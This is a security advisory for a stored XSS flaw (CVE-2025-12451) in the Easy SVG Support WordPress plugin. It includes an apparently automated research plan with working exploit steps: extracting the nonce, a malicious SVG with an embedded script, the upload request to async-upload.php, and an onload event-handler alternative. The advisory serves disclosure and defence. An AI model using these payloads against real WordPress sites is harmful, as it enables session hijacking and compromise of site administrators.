CVE-2025-12451

Easy SVG Support <= 4.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
4.1
Patched in
37d
Time to patch

Description

The Easy SVG Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 4.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.0
PublishedFebruary 18, 2026
Last updatedMarch 27, 2026
Affected plugineasy-svg

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Easy SVG Support** plugin (CVE-2025-12451). ## 1. Vulnerability Summary The **Easy SVG Support** plugin for WordPress (versions <= 4.0) enables the upload of Scalable Vector Gr…

Show full research plan

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Easy SVG Support plugin (CVE-2025-12451).

1. Vulnerability Summary

The Easy SVG Support plugin for WordPress (versions <= 4.0) enables the upload of Scalable Vector Graphics (SVG) files to the WordPress Media Library. The vulnerability exists because the plugin fails to sanitize the contents of uploaded SVG files. Since SVG is an XML-based format, it can contain embedded <script> tags or event handlers (e.g., onload). An authenticated attacker with Author-level permissions or higher can upload a malicious SVG file containing a JavaScript payload. When a user (including an Administrator) views the SVG file directly or through a page where it is embedded, the malicious script executes in the context of their session.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/async-upload.php (Standard WordPress Media Upload endpoint).
  • Action: upload-attachment
  • Vulnerable Parameter: The async-upload file multipart data (specifically the content of the .svg file).
  • Authentication: Authenticated, Author level or above (Requires the upload_files capability).
  • Preconditions: The plugin must be active, which extends the allowed MIME types to include image/svg+xml.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a filter on upload_mimes to allow .svg files (e.g., add_filter('upload_mimes', '...)).
  2. Upload: When an Author uploads a file, WordPress processes it via wp_handle_upload().
  3. Lack of Sanitization: In version 4.0 and below, the plugin does not hook into wp_handle_upload_prefilter or wp_check_filetype_and_ext to inspect or sanitize the XML content of the SVG for malicious elements like <script>, <foreignObject>, or on* attributes.
  4. Storage: The malicious SVG is saved to the wp-content/uploads directory.
  5. Execution: The browser renders the SVG as an XML document, executing any embedded JavaScript.

4. Nonce Acquisition Strategy

To upload a file via the standard WordPress media interface, a nonce for the media-form or upload-attachment action is required.

  1. Login: Authenticate as an Author-level user.
  2. Navigate to Media New: Use browser_navigate to go to https://[target]/wp-admin/media-new.php.
  3. Extract Nonce:
    • The _wpnonce used for async-upload.php is typically localized in the pluploadL10n JavaScript object or can be found in the hidden input fields of the upload form.
    • Action: browser_eval("wp.media.view.settings.post.nonce") or browser_eval("pluploadL10n.multipart_params._wpnonce").
  4. Verification: Ensure the nonce is captured before proceeding to the HTTP request.

5. Exploitation Strategy

Step 1: Prepare Payload

Create a malicious SVG file named xss.svg:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    alert('CVE-2025-12451: ' + document.domain);
  </script>
</svg>

Step 2: Upload via http_request

Send a multipart POST request to /wp-admin/async-upload.php.

Request Details:

  • Method: POST
  • URL: https://[target]/wp-admin/async-upload.php
  • Headers:
    • Content-Type: multipart/form-data; boundary=----Boundary
  • Body (Multipart):
    • name: xss.svg
    • action: upload-attachment
    • _wpnonce: [EXTRACTED_NONCE]
    • async-upload: [BINARY_CONTENT_OF_SVG]

Step 3: Identify Uploaded URL

The response from async-upload.php will be a JSON object containing the attachment ID and the URL of the file.
Example: {"success":true,"data":{"id":123,"url":"http://.../wp-content/uploads/2023/10/xss.svg", ...}}

Step 4: Execution

Access the URL provided in the JSON response using browser_navigate. The alert should trigger.

6. Test Data Setup

  1. Plugin Installation: Ensure easy-svg version 4.0 is installed and activated.
  2. User Creation: Create a user with the author role.
    • wp user create attacker attacker@example.com --role=author --user_pass=password
  3. Login: Use the http_request or browser_navigate tool to log in as attacker.

7. Expected Results

  • The upload request should return a 200 OK with a JSON body indicating success: true.
  • The url field in the response should point to the uploaded SVG file.
  • Navigating to that URL should execute the JavaScript alert('CVE-2025-12451: ' + document.domain).

8. Verification Steps

  1. Check File Content: Use WP-CLI to confirm the file exists on disk and contains the script tag.
    • wp media list --fields=ID,url
    • cat /var/www/html/wp-content/uploads/[YEAR]/[MONTH]/xss.svg
  2. Verify via Browser: Use browser_navigate to the SVG URL and check for the presence of the alert/script execution via browser_eval.

9. Alternative Approaches

  • Event Handler Payload: If <script> tags are somehow filtered (unlikely in 4.0), use an event handler:
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
    
  • Post Meta Embedding: Instead of direct access, embed the SVG into a post as the Author and see if it triggers when an Admin views the post.
    • wp post create --post_type=post --post_status=publish --post_content='<img src="[URL_TO_SVG]">'
    • Note: This often fails to execute JS if the SVG is loaded via <img> tags (browsers disable scripts in <img> context). The most reliable XSS is direct navigation to the SVG or using <iframe src="..."> / <embed src="...">.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy SVG Support plugin for WordPress (versions up to 4.0) allows authenticated users with Author-level permissions or higher to upload SVG files containing malicious JavaScript. Due to a lack of sanitization of the SVG's XML content, an attacker can achieve Stored Cross-Site Scripting (XSS) that triggers whenever a user or administrator views the uploaded file directly.

Exploit Outline

1. Authenticate to the WordPress dashboard as a user with Author-level privileges (possessing the `upload_files` capability). 2. Navigate to the Media Library ('/wp-admin/media-new.php') and extract the current `_wpnonce` for the 'upload-attachment' action from the localized JavaScript (e.g., `wp.media.view.settings.post.nonce`). 3. Create a malicious SVG file containing a JavaScript payload within a `<script>` tag or an XML event handler (e.g., `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">`). 4. Send a multipart POST request to '/wp-admin/async-upload.php' with the action set to 'upload-attachment', the captured nonce, and the malicious SVG file. 5. Capture the URL of the uploaded SVG file from the server's JSON response. 6. Navigate directly to the SVG URL in the browser to execute the payload in the context of the site's domain.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.